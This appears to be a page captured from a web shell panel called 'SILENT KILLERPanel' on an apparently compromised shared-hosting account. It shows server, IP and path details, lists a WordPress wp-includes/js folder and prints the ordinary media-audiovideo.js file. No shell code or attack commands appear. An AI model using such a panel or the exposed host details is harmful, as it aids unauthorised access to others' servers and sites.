SILENT KILLERPanel

Current Path: > home > ivftiowh > > > ivfspain.com > wp-includes > js


Operation   : Linux premium88.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Software     : Apache
Server IP    : 185.61.154.216 | Your IP: 216.73.216.44
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/ivftiowh///ivfspain.com/wp-includes/js

NameTypeSizeLast ModifiedActions
codemirror Directory - -
crop Directory - -
dist Directory - -
imgareaselect Directory - -
jcrop Directory - -
jquery Directory - -
mediaelement Directory - -
plupload Directory - -
swfupload Directory - -
thickbox Directory - -
tinymce Directory - -
admin-bar.js File 16528 bytes May 11 2024 22:28:08.
admin-bar.min.js File 9469 bytes February 06 2025 22:27:26.
api-request.js File 9305 bytes December 01 2020 08:44:06.
api-request.min.js File 7005 bytes February 06 2025 22:27:26.
autosave.js File 28457 bytes January 24 2025 04:54:24.
autosave.min.js File 11789 bytes February 06 2025 22:27:26.
backbone.js File 86371 bytes August 08 2024 23:37:20.
backbone.min.js File 30283 bytes February 06 2025 22:27:26.
clipboard.js File 32789 bytes October 04 2022 19:55:24.
clipboard.min.js File 14991 bytes February 06 2025 22:27:26.
colorpicker.js File 35064 bytes November 17 2012 20:11:30.
colorpicker.min.js File 22480 bytes December 14 2024 00:06:24.
comment-reply.js File 18494 bytes September 04 2024 00:36:10.
comment-reply.min.js File 9008 bytes February 06 2025 22:27:26.
customize-base.js File 31803 bytes May 20 2023 14:19:24.
customize-base.min.js File 13834 bytes February 06 2025 22:27:26.
customize-loader.js File 7903 bytes April 12 2024 21:47:14.
customize-loader.min.js File 9533 bytes February 06 2025 22:27:26.
customize-models.js File 12802 bytes June 25 2020 16:43:08.
customize-models.min.js File 9663 bytes February 06 2025 22:27:26.
customize-preview-nav-menus.js File 21005 bytes July 28 2020 03:35:02.
customize-preview-nav-menus.min.js File 11015 bytes February 06 2025 22:27:26.
customize-preview-widgets.js File 29234 bytes June 20 2020 16:58:10.
customize-preview-widgets.min.js File 13802 bytes February 06 2025 22:27:26.
customize-preview.js File 33941 bytes July 28 2020 03:35:02.
customize-preview.min.js File 16686 bytes February 06 2025 22:27:26.
customize-selective-refresh.js File 39316 bytes April 12 2024 21:47:14.
customize-selective-refresh.min.js File 16675 bytes February 06 2025 22:27:26.
customize-views.js File 11046 bytes June 28 2018 06:30:16.
customize-views.min.js File 8433 bytes February 06 2025 22:27:26.
heartbeat.js File 30033 bytes September 12 2024 03:09:16.
heartbeat.min.js File 11929 bytes February 06 2025 22:27:26.
hoverIntent.js File 13206 bytes January 03 2022 20:03:18.
hoverIntent.min.js File 7481 bytes February 06 2025 22:27:26.
hoverintent-js.min.js File 7699 bytes December 10 2019 06:03:02.
imagesloaded.min.js File 11502 bytes August 11 2023 22:18:26.
json2.js File 24404 bytes October 06 2015 18:02:26.
json2.min.js File 9125 bytes February 06 2025 22:27:26.
masonry.min.js File 30120 bytes June 13 2020 22:53:28.
mce-view.js File 31830 bytes October 10 2023 01:31:28.
mce-view.min.js File 15752 bytes February 06 2025 22:27:26.
media-audiovideo.js File 30801 bytes March 04 2025 19:55:30.
media-audiovideo.min.js File 18034 bytes March 04 2025 19:55:30.
media-editor.js File 35100 bytes July 28 2020 03:35:02.
media-editor.min.js File 16867 bytes February 06 2025 22:27:26.
media-grid.js File 32633 bytes March 04 2025 19:55:30.
media-grid.min.js File 19240 bytes March 04 2025 19:55:30.
media-models.js File 49586 bytes March 04 2025 19:55:30.
media-models.min.js File 19266 bytes March 04 2025 19:55:30.
media-views.js File 279303 bytes March 19 2025 20:27:28.
media-views.min.js File 116694 bytes March 19 2025 20:27:28.
quicktags.js File 28581 bytes September 09 2021 03:29:58.
quicktags.min.js File 17114 bytes February 06 2025 22:27:26.
shortcode.js File 16739 bytes January 29 2020 05:45:18.
shortcode.min.js File 8625 bytes September 23 2022 23:55:30.
swfobject.js File 16213 bytes April 18 2012 03:09:30.
tw-sack.js File 10950 bytes August 23 2012 04:04:18.
tw-sack.min.js File 9270 bytes April 09 2022 00:07:18.
twemoji.js File 39440 bytes July 15 2025 17:42:14.
twemoji.min.js File 22294 bytes July 15 2025 17:42:14.
underscore.js File 74716 bytes August 11 2024 03:57:16.
underscore.min.js File 24887 bytes February 06 2025 22:27:26.
utils.js File 10646 bytes January 29 2020 05:45:18.
utils.min.js File 7846 bytes September 23 2022 23:55:30.
wp-ajax-response.js File 9884 bytes February 08 2025 20:53:18.
wp-ajax-response.min.js File 8553 bytes February 08 2025 20:53:18.
wp-api.js File 52964 bytes January 10 2023 14:30:14.
wp-api.min.js File 20664 bytes February 06 2025 22:27:26.
wp-auth-check.js File 10188 bytes March 18 2021 23:01:04.
wp-auth-check.min.js File 7640 bytes February 06 2025 22:27:26.
wp-backbone.js File 21222 bytes April 12 2024 21:47:14.
wp-backbone.min.js File 9021 bytes February 06 2025 22:27:26.
wp-custom-header.js File 16446 bytes April 10 2021 16:40:06.
wp-custom-header.min.js File 10424 bytes February 06 2025 22:27:26.
wp-embed-template.js File 12760 bytes November 11 2021 07:49:18.
wp-embed-template.min.js File 9156 bytes February 06 2025 22:27:26.
wp-embed.js File 9195 bytes August 10 2023 23:49:18.
wp-embed.min.js File 7233 bytes February 06 2025 22:27:26.
wp-emoji-loader.js File 19990 bytes July 15 2025 17:42:14.
wp-emoji-loader.min.js File 9070 bytes July 15 2025 17:42:14.
wp-emoji-release.min.js File 25233 bytes July 15 2025 17:42:14.
wp-emoji.js File 14950 bytes February 02 2023 05:53:26.
wp-emoji.min.js File 8872 bytes February 06 2025 22:27:26.
wp-list-revisions.js File 6951 bytes June 28 2018 06:30:16.
wp-list-revisions.min.js File 6579 bytes February 06 2025 22:27:26.
wp-lists.js File 31296 bytes June 24 2023 18:32:20.
wp-lists.min.js File 13503 bytes February 06 2025 22:27:26.
wp-pointer.js File 16214 bytes February 17 2021 01:25:04.
wp-pointer.min.js File 9603 bytes February 06 2025 22:27:26.
wp-sanitize.js File 7322 bytes January 28 2025 00:25:26.
wp-sanitize.min.js File 6440 bytes April 09 2022 00:07:18.
wp-util.js File 10660 bytes September 20 2022 07:52:10.
wp-util.min.js File 7408 bytes February 06 2025 22:27:26.
wpdialog.js File 6550 bytes January 25 2023 02:13:12.
wpdialog.min.js File 6263 bytes February 06 2025 22:27:26.
wplink.js File 27221 bytes January 24 2025 04:54:24.
wplink.min.js File 17299 bytes February 06 2025 22:27:26.
zxcvbn-async.js File 6802 bytes June 28 2018 06:30:16.
zxcvbn-async.min.js File 6333 bytes February 23 2021 21:45:20.
zxcvbn.min.js File 828218 bytes October 26 2019 04:17:08.

Reading File: /home/ivftiowh///ivfspain.com/wp-includes/js/media-audiovideo.js

/******/ (() => { // webpackBootstrap
/******/ 	var __webpack_modules__ = ({

/***/ 175:
/***/ ((module) => {

var MediaDetails = wp.media.view.MediaFrame.MediaDetails,
	MediaLibrary = wp.media.controller.MediaLibrary,

	l10n = wp.media.view.l10n,
	AudioDetails;

/**
 * wp.media.view.MediaFrame.AudioDetails
 *
 * @memberOf wp.media.view.MediaFrame
 *
 * @class
 * @augments wp.media.view.MediaFrame.MediaDetails
 * @augments wp.media.view.MediaFrame.Select
 * @augments wp.media.view.MediaFrame
 * @augments wp.media.view.Frame
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 * @mixes wp.media.controller.StateMachine
 */
AudioDetails = MediaDetails.extend(/** @lends wp.media.view.MediaFrame.AudioDetails.prototype */{
	defaults: {
		id:      'audio',
		url:     '',
		menu:    'audio-details',
		content: 'audio-details',
		toolbar: 'audio-details',
		type:    'link',
		title:    l10n.audioDetailsTitle,
		priority: 120
	},

	initialize: function( options ) {
		options.DetailsView = wp.media.view.AudioDetails;
		options.cancelText = l10n.audioDetailsCancel;
		options.addText = l10n.audioAddSourceTitle;

		MediaDetails.prototype.initialize.call( this, options );
	},

	bindHandlers: function() {
		MediaDetails.prototype.bindHandlers.apply( this, arguments );

		this.on( 'toolbar:render:replace-audio', this.renderReplaceToolbar, this );
		this.on( 'toolbar:render:add-audio-source', this.renderAddSourceToolbar, this );
	},

	createStates: function() {
		this.states.add([
			new wp.media.controller.AudioDetails( {
				media: this.media
			} ),

			new MediaLibrary( {
				type: 'audio',
				id: 'replace-audio',
				title: l10n.audioReplaceTitle,
				toolbar: 'replace-audio',
				media: this.media,
				menu: 'audio-details'
			} ),

			new MediaLibrary( {
				type: 'audio',
				id: 'add-audio-source',
				title: l10n.audioAddSourceTitle,
				toolbar: 'add-audio-source',
				media: this.media,
				menu: false
			} )
		]);
	}
});

module.exports = AudioDetails;


/***/ }),

/***/ 241:
/***/ ((module) => {

/**
 * wp.media.model.PostMedia
 *
 * Shared model class for audio and video. Updates the model after
 *   "Add Audio|Video Source" and "Replace Audio|Video" states return
 *
 * @memberOf wp.media.model
 *
 * @class
 * @augments Backbone.Model
 */
var PostMedia = Backbone.Model.extend(/** @lends wp.media.model.PostMedia.prototype */{
	initialize: function() {
		this.attachment = false;
	},

	setSource: function( attachment ) {
		this.attachment = attachment;
		this.extension = attachment.get( 'filename' ).split('.').pop();

		if ( this.get( 'src' ) && this.extension === this.get( 'src' ).split('.').pop() ) {
			this.unset( 'src' );
		}

		if ( _.contains( wp.media.view.settings.embedExts, this.extension ) ) {
			this.set( this.extension, this.attachment.get( 'url' ) );
		} else {
			this.unset( this.extension );
		}
	},

	changeAttachment: function( attachment ) {
		this.setSource( attachment );

		this.unset( 'src' );
		_.each( _.without( wp.media.view.settings.embedExts, this.extension ), function( ext ) {
			this.unset( ext );
		}, this );
	}
});

module.exports = PostMedia;


/***/ }),

/***/ 741:
/***/ ((module) => {

var Select = wp.media.view.MediaFrame.Select,
	l10n = wp.media.view.l10n,
	MediaDetails;

/**
 * wp.media.view.MediaFrame.MediaDetails
 *
 * @memberOf wp.media.view.MediaFrame
 *
 * @class
 * @augments wp.media.view.MediaFrame.Select
 * @augments wp.media.view.MediaFrame
 * @augments wp.media.view.Frame
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 * @mixes wp.media.controller.StateMachine
 */
MediaDetails = Select.extend(/** @lends wp.media.view.MediaFrame.MediaDetails.prototype */{
	defaults: {
		id:      'media',
		url:     '',
		menu:    'media-details',
		content: 'media-details',
		toolbar: 'media-details',
		type:    'link',
		priority: 120
	},

	initialize: function( options ) {
		this.DetailsView = options.DetailsView;
		this.cancelText = options.cancelText;
		this.addText = options.addText;

		this.media = new wp.media.model.PostMedia( options.metadata );
		this.options.selection = new wp.media.model.Selection( this.media.attachment, { multiple: false } );
		Select.prototype.initialize.apply( this, arguments );
	},

	bindHandlers: function() {
		var menu = this.defaults.menu;

		Select.prototype.bindHandlers.apply( this, arguments );

		this.on( 'menu:create:' + menu, this.createMenu, this );
		this.on( 'content:render:' + menu, this.renderDetailsContent, this );
		this.on( 'menu:render:' + menu, this.renderMenu, this );
		this.on( 'toolbar:render:' + menu, this.renderDetailsToolbar, this );
	},

	renderDetailsContent: function() {
		var view = new this.DetailsView({
			controller: this,
			model: this.state().media,
			attachment: this.state().media.attachment
		}).render();

		this.content.set( view );
	},

	renderMenu: function( view ) {
		var lastState = this.lastState(),
			previous = lastState && lastState.id,
			frame = this;

		view.set({
			cancel: {
				text:     this.cancelText,
				priority: 20,
				click:    function() {
					if ( previous ) {
						frame.setState( previous );
					} else {
						frame.close();
					}
				}
			},
			separateCancel: new wp.media.View({
				className: 'separator',
				priority: 40
			})
		});

	},

	setPrimaryButton: function(text, handler) {
		this.toolbar.set( new wp.media.view.Toolbar({
			controller: this,
			items: {
				button: {
					style:    'primary',
					text:     text,
					priority: 80,
					click:    function() {
						var controller = this.controller;
						handler.call( this, controller, controller.state() );
						// Restore and reset the default state.
						controller.setState( controller.options.state );
						controller.reset();
					}
				}
			}
		}) );
	},

	renderDetailsToolbar: function() {
		this.setPrimaryButton( l10n.update, function( controller, state ) {
			controller.close();
			state.trigger( 'update', controller.media.toJSON() );
		} );
	},

	renderReplaceToolbar: function() {
		this.setPrimaryButton( l10n.replace, function( controller, state ) {
			var attachment = state.get( 'selection' ).single();
			controller.media.changeAttachment( attachment );
			state.trigger( 'replace', controller.media.toJSON() );
		} );
	},

	renderAddSourceToolbar: function() {
		this.setPrimaryButton( this.addText, function( controller, state ) {
			var attachment = state.get( 'selection' ).single();
			controller.media.setSource( attachment );
			state.trigger( 'add-source', controller.media.toJSON() );
		} );
	}
});

module.exports = MediaDetails;


/***/ }),

/***/ 1206:
/***/ ((module) => {

var State = wp.media.controller.State,
	l10n = wp.media.view.l10n,
	AudioDetails;

/**
 * wp.media.controller.AudioDetails
 *
 * The controller for the Audio Details state
 *
 * @memberOf wp.media.controller
 *
 * @class
 * @augments wp.media.controller.State
 * @augments Backbone.Model
 */
AudioDetails = State.extend(/** @lends wp.media.controller.AudioDetails.prototype */{
	defaults: {
		id: 'audio-details',
		toolbar: 'audio-details',
		title: l10n.audioDetailsTitle,
		content: 'audio-details',
		menu: 'audio-details',
		router: false,
		priority: 60
	},

	initialize: function( options ) {
		this.media = options.media;
		State.prototype.initialize.apply( this, arguments );
	}
});

module.exports = AudioDetails;


/***/ }),

/***/ 3713:
/***/ ((module) => {

var MediaDetails = wp.media.view.MediaDetails,
	AudioDetails;

/**
 * wp.media.view.AudioDetails
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.view.MediaDetails
 * @augments wp.media.view.Settings.AttachmentDisplay
 * @augments wp.media.view.Settings
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
AudioDetails = MediaDetails.extend(/** @lends wp.media.view.AudioDetails.prototype */{
	className: 'audio-details',
	template:  wp.template('audio-details'),

	setMedia: function() {
		var audio = this.$('.wp-audio-shortcode');

		if ( audio.find( 'source' ).length ) {
			if ( audio.is(':hidden') ) {
				audio.show();
			}
			this.media = MediaDetails.prepareSrc( audio.get(0) );
		} else {
			audio.hide();
			this.media = false;
		}

		return this;
	}
});

module.exports = AudioDetails;


/***/ }),

/***/ 5039:
/***/ ((module) => {

/**
 * wp.media.controller.VideoDetails
 *
 * The controller for the Video Details state
 *
 * @memberOf wp.media.controller
 *
 * @class
 * @augments wp.media.controller.State
 * @augments Backbone.Model
 */
var State = wp.media.controller.State,
	l10n = wp.media.view.l10n,
	VideoDetails;

VideoDetails = State.extend(/** @lends wp.media.controller.VideoDetails.prototype */{
	defaults: {
		id: 'video-details',
		toolbar: 'video-details',
		title: l10n.videoDetailsTitle,
		content: 'video-details',
		menu: 'video-details',
		router: false,
		priority: 60
	},

	initialize: function( options ) {
		this.media = options.media;
		State.prototype.initialize.apply( this, arguments );
	}
});

module.exports = VideoDetails;


/***/ }),

/***/ 5836:
/***/ ((module) => {

var MediaDetails = wp.media.view.MediaDetails,
	VideoDetails;

/**
 * wp.media.view.VideoDetails
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.view.MediaDetails
 * @augments wp.media.view.Settings.AttachmentDisplay
 * @augments wp.media.view.Settings
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
VideoDetails = MediaDetails.extend(/** @lends wp.media.view.VideoDetails.prototype */{
	className: 'video-details',
	template:  wp.template('video-details'),

	setMedia: function() {
		var video = this.$('.wp-video-shortcode');

		if ( video.find( 'source' ).length ) {
			if ( video.is(':hidden') ) {
				video.show();
			}

			if ( ! video.hasClass( 'youtube-video' ) && ! video.hasClass( 'vimeo-video' ) ) {
				this.media = MediaDetails.prepareSrc( video.get(0) );
			} else {
				this.media = video.get(0);
			}
		} else {
			video.hide();
			this.media = false;
		}

		return this;
	}
});

module.exports = VideoDetails;


/***/ }),

/***/ 8646:
/***/ ((module) => {

var MediaDetails = wp.media.view.MediaFrame.MediaDetails,
	MediaLibrary = wp.media.controller.MediaLibrary,
	l10n = wp.media.view.l10n,
	VideoDetails;

/**
 * wp.media.view.MediaFrame.VideoDetails
 *
 * @memberOf wp.media.view.MediaFrame
 *
 * @class
 * @augments wp.media.view.MediaFrame.MediaDetails
 * @augments wp.media.view.MediaFrame.Select
 * @augments wp.media.view.MediaFrame
 * @augments wp.media.view.Frame
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 * @mixes wp.media.controller.StateMachine
 */
VideoDetails = MediaDetails.extend(/** @lends wp.media.view.MediaFrame.VideoDetails.prototype */{
	defaults: {
		id:      'video',
		url:     '',
		menu:    'video-details',
		content: 'video-details',
		toolbar: 'video-details',
		type:    'link',
		title:    l10n.videoDetailsTitle,
		priority: 120
	},

	initialize: function( options ) {
		options.DetailsView = wp.media.view.VideoDetails;
		options.cancelText = l10n.videoDetailsCancel;
		options.addText = l10n.videoAddSourceTitle;

		MediaDetails.prototype.initialize.call( this, options );
	},

	bindHandlers: function() {
		MediaDetails.prototype.bindHandlers.apply( this, arguments );

		this.on( 'toolbar:render:replace-video', this.renderReplaceToolbar, this );
		this.on( 'toolbar:render:add-video-source', this.renderAddSourceToolbar, this );
		this.on( 'toolbar:render:select-poster-image', this.renderSelectPosterImageToolbar, this );
		this.on( 'toolbar:render:add-track', this.renderAddTrackToolbar, this );
	},

	createStates: function() {
		this.states.add([
			new wp.media.controller.VideoDetails({
				media: this.media
			}),

			new MediaLibrary( {
				type: 'video',
				id: 'replace-video',
				title: l10n.videoReplaceTitle,
				toolbar: 'replace-video',
				media: this.media,
				menu: 'video-details'
			} ),

			new MediaLibrary( {
				type: 'video',
				id: 'add-video-source',
				title: l10n.videoAddSourceTitle,
				toolbar: 'add-video-source',
				media: this.media,
				menu: false
			} ),

			new MediaLibrary( {
				type: 'image',
				id: 'select-poster-image',
				title: l10n.videoSelectPosterImageTitle,
				toolbar: 'select-poster-image',
				media: this.media,
				menu: 'video-details'
			} ),

			new MediaLibrary( {
				type: 'text',
				id: 'add-track',
				title: l10n.videoAddTrackTitle,
				toolbar: 'add-track',
				media: this.media,
				menu: 'video-details'
			} )
		]);
	},

	renderSelectPosterImageToolbar: function() {
		this.setPrimaryButton( l10n.videoSelectPosterImageTitle, function( controller, state ) {
			var urls = [], attachment = state.get( 'selection' ).single();

			controller.media.set( 'poster', attachment.get( 'url' ) );
			state.trigger( 'set-poster-image', controller.media.toJSON() );

			_.each( wp.media.view.settings.embedExts, function (ext) {
				if ( controller.media.get( ext ) ) {
					urls.push( controller.media.get( ext ) );
				}
			} );

			wp.ajax.send( 'set-attachment-thumbnail', {
				data : {
					_ajax_nonce: wp.media.view.settings.nonce.setAttachmentThumbnail,
					urls: urls,
					thumbnail_id: attachment.get( 'id' )
				}
			} );
		} );
	},

	renderAddTrackToolbar: function() {
		this.setPrimaryButton( l10n.videoAddTrackTitle, function( controller, state ) {
			var attachment = state.get( 'selection' ).single(),
				content = controller.media.get( 'content' );

			if ( -1 === content.indexOf( attachment.get( 'url' ) ) ) {
				content += [
					'<track srclang="en" label="English" kind="subtitles" src="',
					attachment.get( 'url' ),
					'" />'
				].join('');

				controller.media.set( 'content', content );
			}
			state.trigger( 'add-track', controller.media.toJSON() );
		} );
	}
});

module.exports = VideoDetails;


/***/ }),

/***/ 9467:
/***/ ((module) => {

/* global MediaElementPlayer */
var AttachmentDisplay = wp.media.view.Settings.AttachmentDisplay,
	$ = jQuery,
	MediaDetails;

/**
 * wp.media.view.MediaDetails
 *
 * @memberOf wp.media.view
 *
 * @class
 * @augments wp.media.view.Settings.AttachmentDisplay
 * @augments wp.media.view.Settings
 * @augments wp.media.View
 * @augments wp.Backbone.View
 * @augments Backbone.View
 */
MediaDetails = AttachmentDisplay.extend(/** @lends wp.media.view.MediaDetails.prototype */{
	initialize: function() {
		_.bindAll(this, 'success');
		this.players = [];
		this.listenTo( this.controller.states, 'close', wp.media.mixin.unsetPlayers );
		this.on( 'ready', this.setPlayer );
		this.on( 'media:setting:remove', wp.media.mixin.unsetPlayers, this );
		this.on( 'media:setting:remove', this.render );
		this.on( 'media:setting:remove', this.setPlayer );

		AttachmentDisplay.prototype.initialize.apply( this, arguments );
	},

	events: function(){
		return _.extend( {
			'click .remove-setting' : 'removeSetting',
			'change .content-track' : 'setTracks',
			'click .remove-track' : 'setTracks',
			'click .add-media-source' : 'addSource'
		}, AttachmentDisplay.prototype.events );
	},

	prepare: function() {
		return _.defaults({
			model: this.model.toJSON()
		}, this.options );
	},

	/**
	 * Remove a setting's UI when the model unsets it
	 *
	 * @fires wp.media.view.MediaDetails#media:setting:remove
	 *
	 * @param {Event} e
	 */
	removeSetting : function(e) {
		var wrap = $( e.currentTarget ).parent(), setting;
		setting = wrap.find( 'input' ).data( 'setting' );

		if ( setting ) {
			this.model.unset( setting );
			this.trigger( 'media:setting:remove', this );
		}

		wrap.remove();
	},

	/**
	 *
	 * @fires wp.media.view.MediaDetails#media:setting:remove
	 */
	setTracks : function() {
		var tracks = '';

		_.each( this.$('.content-track'), function(track) {
			tracks += $( track ).val();
		} );

		this.model.set( 'content', tracks );
		this.trigger( 'media:setting:remove', this );
	},

	addSource : function( e ) {
		this.controller.lastMime = $( e.currentTarget ).data( 'mime' );
		this.controller.setState( 'add-' + this.controller.defaults.id + '-source' );
	},

	loadPlayer: function () {
		this.players.push( new MediaElementPlayer( this.media, this.settings ) );
		this.scriptXhr = false;
	},

	setPlayer : function() {
		var src;

		if ( this.players.length || ! this.media || this.scriptXhr ) {
			return;
		}

		src = this.model.get( 'src' );

		if ( src && src.indexOf( 'vimeo' ) > -1 && ! ( 'Vimeo' in window ) ) {
			this.scriptXhr = $.getScript( 'https://player.vimeo.com/api/player.js', _.bind( this.loadPlayer, this ) );
		} else {
			this.loadPlayer();
		}
	},

	/**
	 * @abstract
	 */
	setMedia : function() {
		return this;
	},

	success : function(mejs) {
		var autoplay = mejs.attributes.autoplay && 'false' !== mejs.attributes.autoplay;

		if ( 'flash' === mejs.pluginType && autoplay ) {
			mejs.addEventListener( 'canplay', function() {
				mejs.play();
			}, false );
		}

		this.mejs = mejs;
	},

	/**
	 * @return {media.view.MediaDetails} Returns itself to allow chaining.
	 */
	render: function() {
		AttachmentDisplay.prototype.render.apply( this, arguments );

		setTimeout( _.bind( function() {
			this.scrollToTop();
		}, this ), 10 );

		this.settings = _.defaults( {
			success : this.success
		}, wp.media.mixin.mejsSettings );

		return this.setMedia();
	},

	scrollToTop: function() {
		this.$( '.embed-media-settings' ).scrollTop( 0 );
	}
},/** @lends wp.media.view.MediaDetails */{
	instances : 0,
	/**
	 * When multiple players in the DOM contain the same src, things get weird.
	 *
	 * @param {HTMLElement} elem
	 * @return {HTMLElement}
	 */
	prepareSrc : function( elem ) {
		var i = MediaDetails.instances++;
		_.each( $( elem ).find( 'source' ), function( source ) {
			source.src = [
				source.src,
				source.src.indexOf('?') > -1 ? '&' : '?',
				'_=',
				i
			].join('');
		} );

		return elem;
	}
});

module.exports = MediaDetails;


/***/ })

/******/ 	});
/************************************************************************/
/******/ 	// The module cache
/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
/******/ 		if (cachedModule !== undefined) {
/******/ 			return cachedModule.exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId](module, module.exports, __webpack_require__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
/**
 * @output wp-includes/js/media-audiovideo.js
 */

var media = wp.media,
	baseSettings = window._wpmejsSettings || {},
	l10n = window._wpMediaViewsL10n || {};

/**
 *
 * Defines the wp.media.mixin object.
 *
 * @mixin
 *
 * @since 4.2.0
 */
wp.media.mixin = {
	mejsSettings: baseSettings,

	/**
	 * Pauses and removes all players.
	 *
	 * @since 4.2.0
	 *
	 * @return {void}
	 */
	removeAllPlayers: function() {
		var p;

		if ( window.mejs && window.mejs.players ) {
			for ( p in window.mejs.players ) {
				window.mejs.players[p].pause();
				this.removePlayer( window.mejs.players[p] );
			}
		}
	},

	/**
	 * Removes the player.
	 *
	 * Override the MediaElement method for removing a player.
	 * MediaElement tries to pull the audio/video tag out of
	 * its container and re-add it to the DOM.
	 *
	 * @since 4.2.0
	 *
	 * @return {void}
	 */
	removePlayer: function(t) {
		var featureIndex, feature;

		if ( ! t.options ) {
			return;
		}

		// Invoke features cleanup.
		for ( featureIndex in t.options.features ) {
			feature = t.options.features[featureIndex];
			if ( t['clean' + feature] ) {
				try {
					t['clean' + feature](t);
				} catch (e) {}
			}
		}

		if ( ! t.isDynamic ) {
			t.node.remove();
		}

		if ( 'html5' !== t.media.rendererName ) {
			t.media.remove();
		}

		delete window.mejs.players[t.id];

		t.container.remove();
		t.globalUnbind('resize', t.globalResizeCallback);
		t.globalUnbind('keydown', t.globalKeydownCallback);
		t.globalUnbind('click', t.globalClickCallback);
		delete t.media.player;
	},

	/**
	 *
	 * Removes and resets all players.
	 *
	 * Allows any class that has set 'player' to a MediaElementPlayer
	 * instance to remove the player when listening to events.
	 *
	 * Examples: modal closes, shortcode properties are removed, etc.
	 *
	 * @since 4.2.0
	 */
	unsetPlayers : function() {
		if ( this.players && this.players.length ) {
			_.each( this.players, function (player) {
				player.pause();
				wp.media.mixin.removePlayer( player );
			} );
			this.players = [];
		}
	}
};

/**
 * Shortcode modeling for playlists.
 *
 * @since 4.2.0
 */
wp.media.playlist = new wp.media.collection({
	tag: 'playlist',
	editTitle : l10n.editPlaylistTitle,
	defaults : {
		id: wp.media.view.settings.post.id,
		style: 'light',
		tracklist: true,
		tracknumbers: true,
		images: true,
		artists: true,
		type: 'audio'
	}
});

/**
 * Shortcode modeling for audio.
 *
 * `edit()` prepares the shortcode for the media modal.
 * `shortcode()` builds the new shortcode after an update.
 *
 * @namespace
 *
 * @since 4.2.0
 */
wp.media.audio = {
	coerce : wp.media.coerce,

	defaults : {
		id : wp.media.view.settings.post.id,
		src : '',
		loop : false,
		autoplay : false,
		preload : 'none',
		width : 400
	},

	/**
	 * Instantiates a new media object with the next matching shortcode.
	 *
	 * @since 4.2.0
	 *
	 * @param {string} data The text to apply the shortcode on.
	 * @return {wp.media} The media object.
	 */
	edit : function( data ) {
		var frame, shortcode = wp.shortcode.next( 'audio', data ).shortcode;

		frame = wp.media({
			frame: 'audio',
			state: 'audio-details',
			metadata: _.defaults( shortcode.attrs.named, this.defaults )
		});

		return frame;
	},

	/**
	 * Generates an audio shortcode.
	 *
	 * @since 4.2.0
	 *
	 * @param {Array} model Array with attributes for the shortcode.
	 * @return {wp.shortcode} The audio shortcode object.
	 */
	shortcode : function( model ) {
		var content;

		_.each( this.defaults, function( value, key ) {
			model[ key ] = this.coerce( model, key );

			if ( value === model[ key ] ) {
				delete model[ key ];
			}
		}, this );

		content = model.content;
		delete model.content;

		return new wp.shortcode({
			tag: 'audio',
			attrs: model,
			content: content
		});
	}
};

/**
 * Shortcode modeling for video.
 *
 *  `edit()` prepares the shortcode for the media modal.
 *  `shortcode()` builds the new shortcode after update.
 *
 * @since 4.2.0
 *
 * @namespace
 */
wp.media.video = {
	coerce : wp.media.coerce,

	defaults : {
		id : wp.media.view.settings.post.id,
		src : '',
		poster : '',
		loop : false,
		autoplay : false,
		preload : 'metadata',
		content : '',
		width : 640,
		height : 360
	},

	/**
	 * Instantiates a new media object with the next matching shortcode.
	 *
	 * @since 4.2.0
	 *
	 * @param {string} data The text to apply the shortcode on.
	 * @return {wp.media} The media object.
	 */
	edit : function( data ) {
		var frame,
			shortcode = wp.shortcode.next( 'video', data ).shortcode,
			attrs;

		attrs = shortcode.attrs.named;
		attrs.content = shortcode.content;

		frame = wp.media({
			frame: 'video',
			state: 'video-details',
			metadata: _.defaults( attrs, this.defaults )
		});

		return frame;
	},

	/**
	 * Generates an video shortcode.
	 *
	 * @since 4.2.0
	 *
	 * @param {Array} model Array with attributes for the shortcode.
	 * @return {wp.shortcode} The video shortcode object.
	 */
	shortcode : function( model ) {
		var content;

		_.each( this.defaults, function( value, key ) {
			model[ key ] = this.coerce( model, key );

			if ( value === model[ key ] ) {
				delete model[ key ];
			}
		}, this );

		content = model.content;
		delete model.content;

		return new wp.shortcode({
			tag: 'video',
			attrs: model,
			content: content
		});
	}
};

media.model.PostMedia = __webpack_require__( 241 );
media.controller.AudioDetails = __webpack_require__( 1206 );
media.controller.VideoDetails = __webpack_require__( 5039 );
media.view.MediaFrame.MediaDetails = __webpack_require__( 741 );
media.view.MediaFrame.AudioDetails = __webpack_require__( 175 );
media.view.MediaFrame.VideoDetails = __webpack_require__( 8646 );
media.view.MediaDetails = __webpack_require__( 9467 );
media.view.AudioDetails = __webpack_require__( 3713 );
media.view.VideoDetails = __webpack_require__( 5836 );

/******/ })()
